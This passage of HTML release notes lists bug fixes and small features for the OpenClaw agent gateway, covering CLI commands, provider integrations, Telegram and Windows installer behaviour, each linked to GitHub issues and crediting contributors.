<li>CLI/logs: read implicit local Gateway logs through the passive backend client path so <code>openclaw logs --follow</code> does not register as a paired device, and use the active Linux systemd journal instead of stale configured-file fallbacks when live local RPC is unavailable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4470268868" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83656" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83656/hovercard" href="https://github.com/openclaw/openclaw/issues/83656">#83656</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265060636" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66841" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66841/hovercard" href="https://github.com/openclaw/openclaw/issues/66841">#66841</a>.</li>
<li>Agents/OpenAI: preserve structured provider error code, type, and redacted body metadata on boundary-aware transport failures.</li>
<li>Doctor/Codex: point native Codex asset warnings at the canonical <code>openclaw migrate plan codex</code> preview command. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494538415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84948" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84948/hovercard" href="https://github.com/openclaw/openclaw/issues/84948">#84948</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/markoa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/markoa">@markoa</a>.</li>
<li>CLI/models: make <code>capability model auth logout --agent</code> remove auth profiles from the selected non-default agent store. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497811024" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85092" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85092/hovercard" href="https://github.com/openclaw/openclaw/issues/85092">#85092</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/islandpreneur007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/islandpreneur007">@islandpreneur007</a>.</li>
<li>Gateway/models: reuse prepared provider auth metadata during model-listing auth checks so repeated lookups avoid broad plugin discovery while preserving synthetic local auth.</li>
<li>CLI/status: suppress systemd user-service setup hints when <code>openclaw status --deep</code> can already reach a running Gateway RPC service. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497813806" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85094" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85094/hovercard" href="https://github.com/openclaw/openclaw/issues/85094">#85094</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/islandpreneur007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/islandpreneur007">@islandpreneur007</a>.</li>
<li>CLI/devices: recover local approval when a same-device repair request replaces the request ID being approved.</li>
<li>CLI/agents: retry transient normal-close Gateway handshakes before falling back to embedded <code>openclaw agent</code> execution.</li>
<li>CLI/update: keep managed Gateway service stop/restart status lines out of <code>openclaw update --json</code> stdout so package-update automation can parse the JSON payload.</li>
<li>Plugins: resolve OpenClaw plugin SDK subpaths for native external plugin runtimes without mutating package installs or broadening process-wide module resolution.</li>
<li>Agents/OpenAI: preserve Responses and Chat Completions <code>reasoning_tokens</code> usage metadata without double-counting it in aggregate output tokens. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502043775" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85319" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85319/hovercard" href="https://github.com/openclaw/openclaw/pull/85319">#85319</a>)</li>
<li>Control UI/chat: convert pasted <code>data:image/...;base64,...</code> clipboard text into an image attachment instead of dumping the payload into the composer. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4219271267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62604/hovercard" href="https://github.com/openclaw/openclaw/issues/62604">#62604</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cpwilhelmi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cpwilhelmi">@cpwilhelmi</a>.</li>
<li>Providers/Gemini: strip fractional seconds from web-search time range filters so Gemini accepts freshness-bound search requests. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497228388" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85071" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85071/hovercard" href="https://github.com/openclaw/openclaw/pull/85071">#85071</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Noerr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Noerr">@Noerr</a>.</li>
<li>OpenAI Codex: preserve image input support for sparse <code>openai-codex/gpt-5.5</code> catalog rows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497838305" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85095" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85095/hovercard" href="https://github.com/openclaw/openclaw/pull/85095">#85095</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sercada/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sercada">@sercada</a>.</li>
<li>CLI/models: add a piped or pasted API-key path for OpenAI Codex auth and warn when API keys are pasted into token-mode auth. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506010459" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85533/hovercard" href="https://github.com/openclaw/openclaw/pull/85533">#85533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram: dead-letter missing-harness isolated ingress failures so a poisoned spooled update no longer blocks later same-lane messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504658446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85470" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85470/hovercard" href="https://github.com/openclaw/openclaw/issues/85470">#85470</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506677758" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85605" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85605/hovercard" href="https://github.com/openclaw/openclaw/pull/85605">#85605</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Plugins/discovery: strip <code>-plugin</code> package suffixes when deriving plugin id hints so package names line up with manifest ids. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499184691" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85170" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85170/hovercard" href="https://github.com/openclaw/openclaw/pull/85170">#85170</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JulyanXu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JulyanXu">@JulyanXu</a>.</li>
<li>Tlon: stop advertising a non-existent agent tool contract in the plugin manifest.</li>
<li>Telegram: preserve fenced code block languages through Markdown rendering so Telegram receives <code>language-*</code> code classes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499735731" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85209" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85209/hovercard" href="https://github.com/openclaw/openclaw/pull/85209">#85209</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>.</li>
<li>Windows installer: run npm and Corepack command shims from a Windows-local directory so installs launched from WSL2 UNC paths do not fail before OpenClaw is installed.</li>
<li>Windows updates: roll back git-backed updates to the previous checkout when dependency install, build, UI build, or doctor repair fails.</li>
<li>Windows installer: persist user-local portable Git on PATH and activate the repo-pinned pnpm version for git-backed installs and updates.</li>
<li>Windows installer: bootstrap a user-local portable Node.js when native Windows has no Node and no winget, Chocolatey, or Scoop, so first-run installs can continue on raw hosts.</li>
<li>Windows installer: extract the downloaded portable Node.js directory with native <code>tar</code> before falling back to .NET zip extraction, avoiding PowerShell 5.1 archive and path-length failures.</li>
<li>fix(integrations): enforce channel read target allowlists [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495452049" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84982" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84982/hovercard" href="https://github.com/openclaw/openclaw/pull/84982">#84982</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Agents/heartbeat: route single-owner <code>session.dmScope=main</code> direct-message exec and cron event wakes back to the agent main session so async completions no longer strand context in orphan direct-DM queues. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328109968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71581" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71581/hovercard" href="https://github.com/openclaw/openclaw/issues/71581">#71581</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472187030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83743" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83743/hovercard" href="https://github.com/openclaw/openclaw/pull/83743">#83743</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/code-mode: expose outer code-mode <code>exec</code> source through the <code>command</code> hook alias with <code>toolKind</code>/<code>toolInputKind</code> discriminators so exec-shaped policies can distinguish code-mode cells. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466955914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83483/hovercard" href="https://github.com/openclaw/openclaw/pull/83483">#83483</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/code mode: return structured timeout and runtime-unavailable error codes for known worker failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465759055" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83389" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83389/hovercard" href="https://github.com/openclaw/openclaw/issues/83389">#83389</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466377793" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83444/hovercard" href="https://github.com/openclaw/openclaw/pull/83444">#83444</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>QA-Lab: isolate multi-scenario suite workers when scenarios need startup config patches, preventing message-routing config from leaking into unrelated scenarios.</li>
<li>QA-Lab: make the commitments heartbeat-target-none scenario request an immediate heartbeat instead of waiting for the next scheduled heartbeat.</li>
<li>Codex/Plugin SDK: deliver Codex-native subagent completions through a generic harness task runtime so harness-backed plugins can mirror durable task lifecycle and completion delivery without Codex-specific SDK imports. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466398711" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83445" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83445/hovercard" href="https://github.com/openclaw/openclaw/pull/83445">#83445</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bryanpearson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bryanpearson">@bryanpearson</a>.</li>
<li>Gateway CLI: surface local post-challenge connect assembly failures immediately instead of waiting for the wrapper timeout. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4290747635" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68944" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68944/hovercard" href="https://github.com/openclaw/openclaw/issues/68944">#68944</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500376302" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85253" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85253/hovercard" href="https://github.com/openclaw/openclaw/pull/85253">#85253</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Messages: strip unsupported web-search citation control markers from outbound replies before they reach WebChat or external channels. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499543395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85193" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85193/hovercard" href="https://github.com/openclaw/openclaw/issues/85193">#85193</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499683212" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85204" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85204/hovercard" href="https://github.com/openclaw/openclaw/pull/85204">#85204</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Agents/exec: treat denied exec approvals as terminal instead of feeding them back into agent follow-up work, and recognize Chinese stop phrases in abort handling. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4297018430" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69386" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69386/hovercard" href="https://github.com/openclaw/openclaw/issues/69386">#69386</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499556034" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85194" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85194/hovercard" href="https://github.com/openclaw/openclaw/pull/85194">#85194</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>CLI/agents: abort accepted Gateway-backed <code>openclaw agent</code> runs on SIGINT/SIGTERM so cron and supervisor timeouts do not leave remote agent work alive. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328934502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71710" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71710/hovercard" href="https://github.com/openclaw/openclaw/issues/71710">#71710</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482298414" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84381" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84381/hovercard" href="https://github.com/openclaw/openclaw/pull/84381">#84381</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Codex app-server: retry replay-safe stdio client-close turns once using structured failure metadata, while surfacing idle <code>turn/completed</code> timeouts instead of blindly replaying active shared-server turns. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</li>
<li>Codex app-server: reject command overrides that embed Node or package-manager arguments and point users to <code>appServer.args</code>, so Windows startup avoids shell parsing failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482924887" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84417" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84417/hovercard" href="https://github.com/openclaw/openclaw/pull/84417">#84417</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Agents/Copilot: drop unsafe GitHub Copilot Responses reasoning replay items before send so Telegram direct sessions no longer fail on overlong replay IDs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499593497" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85197" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85197/hovercard" href="https://github.com/openclaw/openclaw/issues/85197">#85197</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499597293" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85198" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85198/hovercard" href="https://github.com/openclaw/openclaw/pull/85198">#85198</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>UI: add accessible tooltips to the topbar color-mode buttons so System, Light, and Dark choices are labeled on hover and focus. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499909774" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85227" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85227/hovercard" href="https://github.com/openclaw/openclaw/pull/85227">#85227</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>fix: constrain Windows task script names [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497094133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85064" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85064/hovercard" href="https://github.com/openclaw/openclaw/pull/85064">#85064</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Control UI: keep the chat session picker from hiding older or cross-agent configured conversations while preserving the bounded configured-agent refresh. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499767279" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85211" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85211/hovercard" href="https://github.com/openclaw/openclaw/pull/85211">#85211</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Agents/Anthropic: preserve unsafe integer tool-call input values in streamed Anthropic tool-use JSON, preventing Discord-style IDs from being rounded before dispatch. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4078181831" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47229" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47229/hovercard" href="https://github.com/openclaw/openclaw/issues/47229">#47229</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463230716" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83063" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83063/hovercard" href="https://github.com/openclaw/openclaw/pull/83063">#83063</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>.</li>
<li>Agents/Codex: estimate tool-heavy prompt pressure at the LLM boundary before provider submission, so persistent sessions compact before overflowing context windows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506085390" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85541" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85541/hovercard" href="https://github.com/openclaw/openclaw/pull/85541">#85541</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents/hooks: wait for local one-shot CLI and Codex <code>agent_end</code> plugin hooks before process cleanup so terminal observability flushes reliably. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495920076" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85007" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85007/hovercard" href="https://github.com/openclaw/openclaw/pull/85007">#85007</a>)</li>
<li>Providers/Google: preserve Gemini 3 cron <code>thinkingDefault: "low"</code> when stale catalog metadata says <code>reasoning:false</code>, so scheduled runs keep provider-supported thinking instead of downgrading to off. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499385810" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85185" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85185/hovercard" href="https://github.com/openclaw/openclaw/pull/85185">#85185</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>CLI/agents: allow <code>openclaw agent --session-key</code> to target explicit session keys, including agent-scoped legacy keys. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498501242" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85121" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85121/hovercard" href="https://github.com/openclaw/openclaw/pull/85121">#85121</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Auto-reply/ACP: wait for same-channel block reply delivery before starting tool work, while still honoring ACP dispatch aborts so stopped turns do not wait on slow channel sends. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4471527952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83722/hovercard" href="https://github.com/openclaw/openclaw/pull/83722">#83722</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Codex/ACP: mark required child-run completions that only report progress, omit a final deliverable, or fail requester delivery as blocked while preserving real final reports. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498172824" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85110" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85110/hovercard" href="https://github.com/openclaw/openclaw/pull/85110">#85110</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Channels: treat bare abort messages such as <code>stop</code>, <code>abort</code>, and <code>wait</code> as immediate control commands in inbound debounce paths so stop requests are not delayed behind pending message coalescing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465477899" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83348" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83348/hovercard" href="https://github.com/openclaw/openclaw/pull/83348">#83348</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Channels/message tool: resolve configured external channel plugins during in-agent channel selection, so <code>openclaw agent --local</code> message-tool sends no longer report an available channel as unavailable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496213314" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85022" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85022/hovercard" href="https://github.com/openclaw/openclaw/pull/85022">#85022</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/heartbeat: honor group/channel <code>message_tool</code> visible-reply policy and model-specific Codex runtime config for scheduled heartbeat runs, so failed internal tool output stays private. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501936678" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85310" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85310/hovercard" href="https://github.com/openclaw/openclaw/issues/85310">#85310</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502712735" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85357" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85357/hovercard" href="https://github.com/openclaw/openclaw/pull/85357">#85357</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Gateway/ACP: close child ACP sessions spawned via <code>sessions_spawn</code> when their parent session is reset or deleted, instead of leaving orphaned <code>claude-agent-acp</code> processes that accumulate and exhaust memory. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4290563726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68916" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68916/hovercard" href="https://github.com/openclaw/openclaw/issues/68916">#68916</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499486658" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85190" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85190/hovercard" href="https://github.com/openclaw/openclaw/pull/85190">#85190</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Codex app-server: block native execution paths when OpenClaw exec resolves to a node host while preserving the first-party CLI node binding path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496082157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85012" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85012/hovercard" href="https://github.com/openclaw/openclaw/issues/85012">#85012</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506017461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85534" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85534/hovercard" href="https://github.com/openclaw/openclaw/pull/85534">#85534</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
